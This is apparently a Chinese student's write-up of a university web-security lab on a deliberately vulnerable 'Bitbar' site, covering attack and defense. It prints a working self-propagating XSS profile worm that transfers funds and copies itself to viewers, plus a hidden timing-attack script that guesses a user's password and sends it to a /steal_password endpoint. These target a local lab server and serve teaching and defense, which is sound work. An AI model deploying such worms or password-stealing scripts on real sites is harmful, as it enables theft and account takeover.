在下一次攻击中,您需要开发一种与Samy Worm类似的蠕虫,它可以窃取Bitbar并传播到其他账户。具体来说,您需要编写一个profile,在访问时将登录用户的1个 Bitbar 转移给攻击者,并将当前用户的配置文件替换为自己的配置文件。
如果攻击者用户将其配置文件更改为您在解决方案中提供的配置文件,则会发生以下情况:

  1. 当用户 1 查看攻击者的配置文件时,1 个 Bitbar 将从用户 1 转移到攻击者,同时用户 1 的配置文件将替换为您的解决方案配置文件。
  2. 稍后,如果用户 2 查看用户 1 的配置文件,1 个 Bitbar 将从用户 2 转移到攻击者,用户 2 的配置文件也将被替换,依此类推。
  3. 在查看受感染的配置文件时,无论相应用户的真实比特条余额是多少,比特条的数量都应显示为 10。这同样适用于攻击者。关于如何显示受感染配置文件的比特条以及如何构建攻击的一些提示:
    (1)如果受感染的配置文件立即显示 10 个bitbar,而不是数到 10,则没有问题。
    (2)如果蠕虫为受感染用户显示的比特条数数到 10 就没有问题。
    (3)如果先将计数设置为 100,然后再设置为 10,则会有问题。
    (4)如果新感染的用户只有在注销并重新登录后才能在个人资料中看到漏洞文本,则不会有问题。
    (5)如果攻击者在看到自己受感染的配置文件时触发了漏洞,也没有问题。

传输和应用应该相当快(15 秒以内)。在此期间,评分者不会点击任何地方。在传输和复制过程中,浏览器的位置栏应保持在:http://localhost:3000/profile?username=x,其中 x 是正在查看其配置文件的用户。访问者不应看到任何额外的图形用户界面元素(如框架),正在查看个人资料的用户应显示有 10 个 Bitbars。

交付和评分: 一个名为 f.txt 的文件,其中包含您的恶意配置文件。我们将把您的配置文件文本复制并粘贴到攻击者的配置文件中,然后使用评分者的受害者账户查看profile。然后,我们将使用更多账户查看受害者的profile,检查传输和复制情况。如果用户的账户中没有 Bitbar,则不会对您进行评分。

实验原理

Samy Worm

Samy Worm是一种XSS蠕虫,作者出于恶作剧,将其设计于在网络社交媒体MySpace上自传播,并将作者萨米本人自动添加为关注者。最终事态却发展失控,并导致作者入狱。自从发布该蠕虫一来,它就吸引了大量的媒体关注。

该蠕虫用JavaScript实现,利用储存型XSS漏洞传播。它在每个被感染的用户页面显示一行字串“but most of all, samy is my hero”,并将自己复制在该用户页面。当新的用户点击被感染的用户页面时,就会触发该程序在用户的浏览器中运行,导致蠕虫进一步传播,在该新用户主页上再度复制。在短短20小时内,从2005年10月4日发布起,超过一百万的用户都运行了该程序。这让该作者的账户在该社交网络上的关注量指数级增长,并让萨米蠕虫成为历史上传播速度最快的计算机病毒。

实验步骤

该攻击需要通过在profile中编辑JavaScript代码实现蠕虫传播,同样可以先验证XSS攻击:

在 user1 的profile下添加:

1
<script>alert("Javascript code test")</script>

attack6_1

查询user1的profile,js代码顺利执行:
attack6_2

恶意代码功能如下:

  1. 构造一个 XML 请求向 attacker 转账 1 bitbar;
  2. 转账成功后,再次构造 XML 请求到 set_profile 来篡改当前用户的profile;
  3. 为掩饰转账操作,还需要将当前界面的 bitbar 数量固定为 10。

实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<span id="bitbar_count" class="10"></span>
<script type="text/javascript">
// send 1 bitbar to the attacker
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
var params = 'destination_username=attacker&quantity=1';
xhr.open('POST', 'http://localhost:3000/post_transfer', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(params);
// after sending, change the viewer's profile
xhr.onload = () => {
var viewerCookie = JSON.parse(atob(document.cookie.substr(8)));
var worm = encodeURIComponent(document.getElementById('profile').innerHTML);
var wormXHR = new XMLHttpRequest();
wormXHR.withCredentials = true;
var wormParams = `new_profile=${worm}`
wormXHR.open('POST', 'http://localhost:3000/set_profile', true);
wormXHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
wormXHR.send(wormParams);
};
</script>

将 attacker 账号的profile改为恶意代码:
attack6_3

用user1查看attacker:
attack6_4

user1被修改:
attack6_5

用user2查看user1:
attack6_6

user2被修改:
attack6_7

用user3查看user2:
attack6_8

user2被修改:
attack6_9

漏洞利用Gamma :通过时序攻击提取密码

实验任务说明

时序攻击是一种侧信道攻击,攻击者试图通过分析系统执行操作所需的时间来提取数据。例如,与使用无效密码的请求相比,网络服务器响应包含有效密码的登录请求可能需要更长的时间。即使同源策略阻止攻击者直接查看登录请求的 HTML 响应,服务器响应所需的时间也可能泄露所提供的密码是正确还是错误。

在最后一个漏洞中,您将开发一种攻击,通过利用这种定时侧信道来确定另一个用户的密码。您将通过分析 Bitbar 登录页面响应正确密码和错误密码所需的时间,找到受害者密码。这样,攻击网站就可以利用访问攻击网站的网络浏览器,

对受害者网站发起字典攻击。攻击网站从不直接连接受害者网站,而是让访问的浏览器完成所有工作。

您需要创建一个恶意用户名,它由一个脚本组成,该脚本通过测试所提供字典中的密码来猜测 userx 的密码,并测量服务器对每个所提供密码的响应时间。您的脚本需要分析服务器对所提供列表中所有密码的响应时间,确定正确的密码并将其发送至:http://localhost:3000/steal_password?password=[password]&timeElapsed=[time_elapsed]

您可以使用 CS155-proj2/code/gamma_starter.html 代码段作为攻击的起点。该代码段包括要尝试的密码字典。

交付和评分: 您应提交一个名为 g.txt 的文件,其中包含恶意用户名脚本。为了对您的攻击进行评分,我们将以攻击者身份登录,进入传输页面,在用户名字段中输入您在解决方案中指定的恶意用户名脚本,并向其传输 10 个Bitbars。

如果评分员在执行攻击后以 userx 登录,则不会有任何问题,攻击可能需要几秒钟才能完全执行。在攻击过程中,评分员不会点击任何地方或离开传输网页。网站不应有任何可见的变化,传输页面上的蓝色错误信息应显示” 用户不存在”。

提示: 确保使用回车键而不是引号进行攻击。计时侧信道可能很微妙。

竞态条件: 根据你编写代码的方式,所有这些攻击都有可能出现影响攻击成功的竞态条件。在评分过程中,在评分员浏览器上失败的攻击将无法获得满分。为确保获得满分,应在发出向外网络请求后等待,而不是假定请求会立即发送。

实验原理

时序攻击

时序攻击属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。比如,某个函数负责比较用户输入的密码和存放在系统内密码是否相同,如果该函数是从第一位开始比较,发现不同就立即返回,那么通过计算返回的速度就知道了大概是哪一位开始不同的,这样就实现了电影中经常出现的按位破解密码的场景。

实验步骤

router在\get_login中处理用户登录信息时,当用户身份验证失败时会直接返回并渲染失败信息,而不会进行其他操作;当用户信息验证成功时,执行await sleep(2000);,使得进程休眠 2000 ms(2s)。此外,还需要对gamma_starter.html进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<span style='display:none'>
<img id='test'/>
<script>
var dictionary = [`password`, `123456`, ` 12345678`, `dragon`, `1234`, `qwerty`, `12345`];
var index = 0;
var test = document.getElementById(`test`);
test.onerror = () => {
var end = new Date();

/* >>>> HINT: you might want to replace this line with something else. */
console.log(`Time elapsed ${end-start}`);
/* <<<<< */

start = new Date();
if (index < dictionary.length) {
/* >>>> TODO: replace string with login GET request */
test.src = `hello!`;
/* <<<< */
} else {
/* >>>> TODO: analyze server's reponse times to guess the password for userx and send your guess to the server <<<<< */
}
index += 1;
};
var start = new Date();
/* >>>> TODO: replace string with login GET request */
test.src = `hello!`;
/* <<<< */
index += 1;
</script>
</span>

该代码通过测量向服务器发送不同密码尝试时的响应时间来猜测正确的密码。

  1. 变量定义:
  • dictionary: 包含尝试的密码列表。
  • index: 用于追踪当前尝试的密码在dictionary中的索引。
  • test: 获取页面中的<img>元素,用于加载测试请求。
  • start: 记录开始发送请求的时间。
  1. 错误处理:
  • test.onerror: 当<img>元素的src属性设置的URL加载失败时,会触发onerror事件。这里利用这个事件来测量时间差,并尝试下一个密码。
  1. 时间测量:
  • 在onerror事件中,首先记录当前时间end,然后计算从start到end的时间差,这个时间差被认为是服务器响应的时间。
  1. 密码尝试逻辑:
  • 如果index小于dictionary的长度,说明还有密码没尝试,会将<img>的src设置为一个新的URL(这里应该是一个带有密码尝试的GET请求,但代码中尚未实现,只是用hello!代替)。
  • 如果所有密码都尝试过了,应该有一个分析服务器响应时间和发送猜测结果到服务器的逻辑,但这部分也未实现。

恶意代码的实现思路如下:

  1. 将恶意脚本包裹在 中并设置 style.display=none,从而在页面中不展示;
  2. 脚本中通过更新 id=‘test’ 的 Img.src 属性,来执行登录操作因此,将 src 的 URL 设置为 /get_login 请求,使得图片加载失败,进而可以在 onerror 事件发生后进行循环。
  3. 当 onerror 事件触发后,使用 times 数组记录上次的响应时间,并伪造新的 src 值以循环触发 onerror 事件;
  4. 当 dictionary 被遍历完成后,将从 times 中找出最长响应时间的那一组,构造 XML 请求发送到路由 /steal_password。

代码内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<span style='display:none'>
<Img id='test'/>
<Script>
var dictionary = [`password`, `123456`, ` 12345678`, `dragon`, `1234`, `qwerty`, `12345`];
var index = 0;
var test = document.getElementById(`test`);
const username = `userx`;
const times = new Array();
test.onerror = () => {
var end = new Date();

/* >>>> HINT: you might want to replace this line with something else. */
times.push(end-start);
/* <<<<< */

start = new Date();
if (index < dictionary.length) {
/* >>>> TODO: replace string with login GET request */
test.src = `http://localhost:3000/get_login?username=${username}&password=${dictionary[index]}`;
/* <<<< */
} else {
/* >>>> TODO: analyze server's reponse times to guess the password for userx and send your guess to the server <<<<< */
const maxTime = Math.max(...times);
const maxTimeIndex = times.indexOf(maxTime);
const guessPwd = dictionary[maxTimeIndex];
var xhr = new XMLHttpRequest();
xhr.open('GET', `http://localhost:3000/steal_password?password=${guessPwd}&timeElapsed=${maxTime}`, true);
xhr.send();

}
index += 1;
};
var start = new Date();
/* >>>> TODO: replace string with login GET request */
test.src = `http://localhost:3000/get_login?username=${username}&password=${dictionary[index]}`;
/* <<<< */
index += 1;
</Script>
</span>

登陆attacker账户,在转账对象输入为恶意代码:
attack7_1

查看终端信息,可以看到userx的password为dragon,响应时间为2546ms>2000ms,符合要求:
attack7_2

第二部分:防御方法

现在您已经了解 Bitbar 网络应用程序到底有多不安全,您将修改该应用程序以抵御第 1 部分中的攻击(您将永远不会在自己的网络应用程序中犯这些错误!)。每种攻击的实现方法可能不止一种,因此请考虑其他可能的攻击方法–您需要防御所有这些方法。

提示

  • 如果检测到 CSRF 或 cookie 被篡改,可以强制注销,但对于其他不良输入,则应显示错误信息。
  • 在服务器进程内存中将密钥作为 JavaScript 变量是可以接受的。
  • 您无需防御 cookie 重放攻击。
  • 由于我们不要求您使用 TLS,因此您可以认为 Cookie 不会被网络攻击者窃取。

实现提示

总体提示

  • 如果检测到 CSRF 或 cookie 被篡改,可以强制注销,但对于其他不良输入,则应显示错误信息。
  • 在服务器进程内存中将密钥作为 JavaScript 变量是可以接受的。
  • 您无需防御 cookie 重放攻击。
  • 由于我们不要求您使用 TLS,因此您可以认为 Cookie 不会被网络攻击者窃取。

Alpha 防御

  • 如果您检测到注入的用户名与您定义的” 有效” 用户名不符,则无需在错误消息中显示该无效用户名。

Beta 防御

  • 如果攻击者通过简单的 GET 请求来恢复为受害者用户设计的 CSRF 令牌,则无需进行防御。
  • CSRF 标记的寿命越短越好。

Foxtrot 防御

  • 对于这种攻击,您应该使用与 CSP 相关的防御方法。为此,您可以在app.js中添加一些行(但不必这样做)。
  • 我们将使用 4-5 个测试用例配置文件来测试您的防御能力,这些配置文件会使用一些最常见的 XSS 方法。

实现要求

  • 您只能在 router.js 中实施防御,但有两个例外:您也可以更改 views/ 中的任何文件,以添加 CSRF 保密令牌防御和修改 <script> 标记的属性(请参阅下文有关在 views/ 中更改的特殊限制),您还可以更改 app.js 以实施foxtrot防御。所有其他文件必须保持不变。
  • 在正常输入时,不要更改网站的外观或行为。非恶意用户应该不会注意到你修改后的网站有什么不同。
  • 当出现不良输入时,网站应以用户友好的方式失效。您可以对输入进行消毒或显示错误信息,不过在大多数情况下,消毒可能是对用户更友好的选择。
  • 不要启用 Express.js 的内置防御功能。Express.js 自带了许多内置防御功能,但在第 1 部分中已禁用。这些内置防御必须保持禁用状态。虽然在现实世界中,最好使用标准的、经过审核的防御代码,而不是自己实现,但我们还是希望你能在实践中实现这些防御。具体来说,这意味着您不能:
    – 使用 Express.js 更改已在 app.js 中设置的 CORS 策略,
    – 在 views/ 内的任何文件中执行更严格的 EJS 转义策略,
    – 添加启动代码中提供的 Node 软件包之外的任何其他 Node 软件包。
  • 注意:你可以在 views/ 内的文件中添加 CSRF 秘密令牌。您也可以在views/中的 <script> 标记中添加 nonce 属性。但是,不要修改这些文件中的<%-标记,以实现更严格的 EJS 转义功能。
  • 不要过度消毒输入。允许使用默认 JavaScript 函数对输入进行消毒,但要确保不会过度消毒(例如,profile仍应允许使用同一组经过消毒的 HTML 标记)。

我们强烈建议在防御中使用从”./utils/crypto ” 导入的函数。具体来说,请考虑如何使用 generateRandomness 和 HMAC 函数分别防止 CSRF 和 cookie 篡改。

最后,请在 README.txt 文件中描述您的防御措施。第 1 部分中的每个漏洞用几句话描述即可。我们将阅读您的 README.txt 和源代码,并测试第 1 部分中的攻击是否可能。这意味着,如果您的防御非常特别或不健全,即使第 1 部分中的相关攻击被阻止,您的防御也有可能不得分。

Alpha 防御

网页漏洞

没有对输入进行处理从而导致恶意js代码能够窃取cookie并输送到其他网址。

代码完善

该部分需要补充对 GET 请求传入的username参数的检查。首先,在请求包中通常会将特殊字符串进行编码(例如%3C 表示 <,%3D 表示 =
),因此将获取的 username 参数首先进行 URI 解码,以便后续对于特殊字符的过滤;其次,构造invalidChars正则表达式,其中包含常见非法字符;最后,对解码后的输入进行正则表达式匹配,若用户名中包含非法字符串则反馈错误信息。

再次使用 a.txt 窃取用户Cookie发现被阻止了,在页面显示了错误信息’Invalid user name input!’:

1
2
3
4
5
6
7
/* Alpha defense: decode the input username and test for filtering */
const decodedUsername = decodeURIComponent(req.query.username).toLowerCase();
const invaildChars = /[<>; '``\${}().\/]/g;
if(invaildChars.test(decodedUsername)) {
render(req, res, next, 'profile/view', 'View Profile', 'Invalid user name input!', req.session.account);
return;
};

defense1_1

Bravo 防御

网页漏洞

通过xhr.withCredentials = true;,credentials,即用户凭证,是指 cookie、HTTP 身份验证和 TLS 客户端证书。当 withCredentials 设置为true,在跨域请求时,会携带用户凭证,即 Cookie 信息。这使得攻击者不需要显式地知道用户的账号密码,也可以伪造用户身份。

防御方法

验证 HTTP Referer 字段

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

在请求地址中添加 token 并验证(Anti-CSRF token)

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

在 HTTP 头中自定义属性并验证

这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 CSRFToken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

代码完善

本文采用的是第二种防御方式,即使用 CSRF 令牌。

首先,在 code/router.js/transfer 中添加如下代码,在用户点击转账页面时设置一个随机的 CSRF 令牌,存储在用户会话中,且不可猜测。

1
2
3
/* Bravo defense: generate the CSRF token and store to the transfer from */
const csrfToken = generateRandomness();
req.session.csrfToken = csrfToken;

其次,在 code/views/pages/tranfer/form.ejs 中更新表单内容。当用户点击进入转账页面时会将 csrfToken 填充到一个隐藏的表项,这个表项会随着用户确认转账后用于令牌验证。

1
2
<!-- Bravo defense: add csrf_token(invisiable) to the form -->
<input type="hidden" name="csrf_token" value="<%= result.csrfToken %>"/>

最后,在 code/router.js/post_transfer 中加入对令牌验证的代码,当传入的令牌值与存储的令牌值不同时则认为是恶意请求,拒绝转账,当令牌验证失败时直接退出账号。

1
2
3
4
5
6
7
8
/* Bravo defense: check the CSRF token with the server session */
if(!req.session.csrfToken || req.body.csrf_token != req.session.csrfToken) {
req.session.loggedIn = false;
req.session.account = {};
req.session.csrfToken = false;
render(req, res, next, 'index', 'Bitbar Home', 'Logged out successfully!');
return;
};

Charlie 和 Delta 防御

网页漏洞

Cookie 窃取漏洞,即会话劫持,意味着攻击者可以窃取或拦截用户的会话 Cookie,从而能够以用户的身份访问或操作网站。

防御方法

HMAC

在现代的网络中,身份认证是一个经常会用到的功能,在身份认证过程中,有很多种方式可以保证用户信息的安全,而MAC(message authentication code)就是一种常用的方法。

消息认证码是对消息进行认证并确认其完整性的技术。通过使用发送者和接收者之间共享的密钥,就可以识别出是否存在伪装和篡改行为。

MAC是通过MAC算法+密钥+要加密的信息一起计算得出的。HMAC是Keyed-Hashing for Message Authentication的缩写。HMAC的MAC算法是hash算法,它可以是MD5, SHA-1或者 SHA-256,他们分别被称为HMAC-MD5,HMAC-SHA1, HMAC-SHA256。

hmac的使用过程往往是:

  1. 客户端发出登录请求(假设是浏览器的GET请求)
  2. 服务器返回一个随机值,并在会话中记录这个随机值
  3. 客户端将该随机值作为密钥,用户密码进行hmac运算,然后提交给服务器
  4. 服务器读取用户数据库中的用户密码和步骤2中发送的随机值做与客户端一样的hmac运算,然后与用户发送的结果比较,如果结果一致则验证用户合法。

代码完善

首先,在router中设置私钥并创建基本的 HMAC 工具函数::

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 /* Charlie and Delta defense: use HMAC to check whether cookie is tampered */
const secretKey = generateRandomness();

function setHMAC(session) {
const data = JSON.stringify(session.loggedIn) + JSON.stringify(session.account);
const hmac = HMAC(secretKey, data);
return hmac;
};

function checkHMAC(session) {
const data = JSON.stringify(session.loggedIn) + JSON.stringify(session.account);
const _hmac = HMAC(secretKey, data);
const hmac = session.hmac;
if(_hmac === hmac) {
return true;
}
return false;
};

创建 session.hmac:

1
2
/* Charlie and Delta defense: update HMAC after setting profile */
req.session.hmac = setHMAC(req.session);

验证 session.hmac:

1
2
3
4
5
6
/* Charlie and Delta defense: unset the session if HMAC doesn't equal */
if(!checkHMAC(req.session)) {
req.session.loggedIn = false;
req.session.account = {};
req.session.hmac = setHMAC(req.session);
};

Echo 防御

网页漏洞

用户的输入会被直接包含在SQL查询中,攻击者通过输入恶意SQL代码,来操纵后端数据库的查询。

防御方法

参数化查询(Parameterized Query 或 Parameterized Statement)是访问数据库时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值。

在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有指令,也不会被数据库运行。Access、SQL Server、MySQL、SQLite等常用数据库都支持参数化查询。

代码完善

将router中所有SQL查询的操作都改为参数化查询:

/set_profile:

1
2
3
/* Echo defense: optimize the SQL query method by parameterized query */
const query = `UPDATE Users SET profile = ? WHERE username = ?;`;
const result = await db.run(query, [req.body.new_profile, req.session.account.username]);

/close:

1
2
3
/* Echo defense: optimize the SQL query method by parameterized query */
const query = `DELETE FROM Users WHERE username == ?;`;
await db.get(query, req.session.account.username);

/post_transfer:

1
2
3
/* Echo defense: optimize the SQL query by parameterized query*/
let query = `SELECT * FROM Users WHERE username == ?;`;
const receiver = await db.get(query, req.body.destination_username);

/post_transfer:

1
2
3
4
5
/* Echo defense: optimize the SQL query by parameterized query*/
query = `UPDATE Users SET bitbars = ? WHERE username == ?;`;
await db.exec(query, [req.session.account.bitbars, req.session.account.username]);
query = `UPDATE Users SET bitbars = ? WHERE username == ?;`;
await db.exec(query, [receiverNewBal, receiver.username]);

Foxtrot 防御

网页漏洞

profile里的内容会直接输入到文件中执行。

防御方法

内容安全策略(CSP)

内容安全策略(CSP)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行,因为浏览器信任其内容来源,即使有的时候这些脚本并非来自于它本该来的地方。CSP 通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除 XSS 攻击所依赖的载体。

代码完善

首先,在 profile 路由产生后增加一个新的 HTTP 请求头”Content-Security-Policy”:

1
2
3
/* Foxtrot defense: add CSP request header and generate a random nonce */
const nonceToken = generateRandomness();
res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonceToken}' 'unsafe-eval'`);

其次,为profile的页面添加nonce标签来限制可执行的脚本。nonce 值是每次 HTTP 回应给出一个授权token ,页面内嵌脚本有这个 token,才会执行:

  1. 随机生成 nonceToken 用于后续授权;
  2. 设置 HTTP 请求头’Content-Security-Policy’,设置其内容为 script-src ’nonce-${nonceToken}’’unsafe-eval’
    ’nonce-${nonceToken}’```:仅运行 nonce 值为 nonceToken 的脚本;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
       ```unsafe-eval```:运行不安全的 eval 函数,保证动态展示 Bitbars 数量而用到的 setTimeout 函数;

    ```javascript
    <span id="bitbar_count" class="<%= result.bitbars %>" />
    <script type="text/javascript" nonce="<%= nonceToken %>">
    var total = eval(document.getElementById('bitbar_count').className);
    function showBitbars(bitbars) {
    document.getElementById("bitbar_display").innerHTML = bitbars + " bitbars";
    if (bitbars < total) {
    setTimeout("showBitbars(" + (bitbars + 1) + ")", 20);
    }
    }
    if (total > 0) showBitbars(0); // count up to total
    </script>

使用attacker查看profile:
defense6_1

使用user1查看attacker:
defense6_2

Gamma 防御

网页漏洞

验证密码所需的时间受到操作数据的影响。

防御方式

设置一个显式的等待时间,使得不论是登录成功还是登录失败,请求响应的时间是完全随机的,甚至是基本接近的,导致时序攻击失效。

代码完善

首先,在router中定义定义一个随机数生成函数arbitaryAwaitTime:

1
2
3
4
5
 /* Gamma defense: use random sleep time to avoid timing attack */
function arbitaryAwaitTime(min, max) {
const num = Math.random() * (max - min) + min;
return Math.ceil(num);
}

其次,在 get_login 路由中设置一个随机的休眠时间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 router.get('/get_login', asyncMiddleware(async (req, res, next) => {
const db = await dbPromise;
const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`;
const result = await db.get(query);
if(result) { // if this username actually exists
if(checkPassword(req.query.password, result)) { // if password is valid
//await sleep(2000);

/* Gamma defense: generate a random await time to avoid timing */
const abTime = arbitaryAwaitTime(500, 1000);
await sleep(abTime);

req.session.loggedIn = true;
req.session.account = result;

/* Charlie and Delta defense: update HMAC after login */
req.session.hmac = setHMAC(req.session);

render(req, res, next, 'login/success', 'Bitbar Home');
return;
}
}

/* Gamma defense: generate a random await time to avoid timing */
const abTime = arbitaryAwaitTime(500, 1000);
await sleep(abTime);

render(req, res, next, 'login/form', 'Login', 'This username and password combination does not exist!');
}));

运行发现所有时间均为200:
defense7_1

心得体会

在进行实验时,我基于bitbar网站进行了七种Web攻击方法的实践,并尝试进行相应的防御。这七种攻击方法分别是:Cookie窃取、跨站请求伪造、使用Cookie进行会话劫持、通过Cookie篡改实现恶意操作、SQL注入、个人资料蠕虫、基于时序攻击的密码提取。

通过这次实验,我对Web应用程序中的安全问题有了更深入的了解。我意识到在现代互联网环境中,各种Web攻击方法层出不穷,对用户和系统造成的潜在威胁不可小觑。同时,我也认识到了保护Web应用程序和用户数据的重要性。

在实践过程中,我首先了解了每种攻击方法的原理和实施方式。这包括攻击者如何通过Cookie窃取用户身份信息,如何利用跨站请求伪造进行恶意操作,以及如何通过会话劫持和Cookie篡改来获取特权访问等。这些知识让我认识到,攻击者可以利用Web应用程序的漏洞进行各种形式的攻击,而且这些攻击方法往往是隐蔽且具有破坏力的。

接着,我尝试了相应的防御方法,学习了如何加密和保护Cookie,以防止其被窃取和篡改。我还学习了如何使用CSRF令牌来防止跨站请求伪造攻击,并且采取了其他安全措施,如使用加密通信和强密码来保护用户数据。此外,我还学习了如何对输入进行有效的过滤和验证,以防止SQL注入等攻击。

通过实验,我发现实施防御措施并不是一劳永逸的。Web应用程序的安全需要持续的关注和更新。新的攻击方法和漏洞随时可能出现,因此我们需要时刻保持警惕,及时更新和改进我们的防御手段。

总的来说,这次实验让我对Web应用程序的安全性有了更深入的认识,并且学到了许多有关防御Web攻击的方法。这次实践使我明白了保护Web应用程序和用户数据的重要性,以及持续关注安全问题的必要性。我相信这些知识和经验将对我未来在Web开发和网络安全领域的学习有很大的帮助。

项目代码

网络安全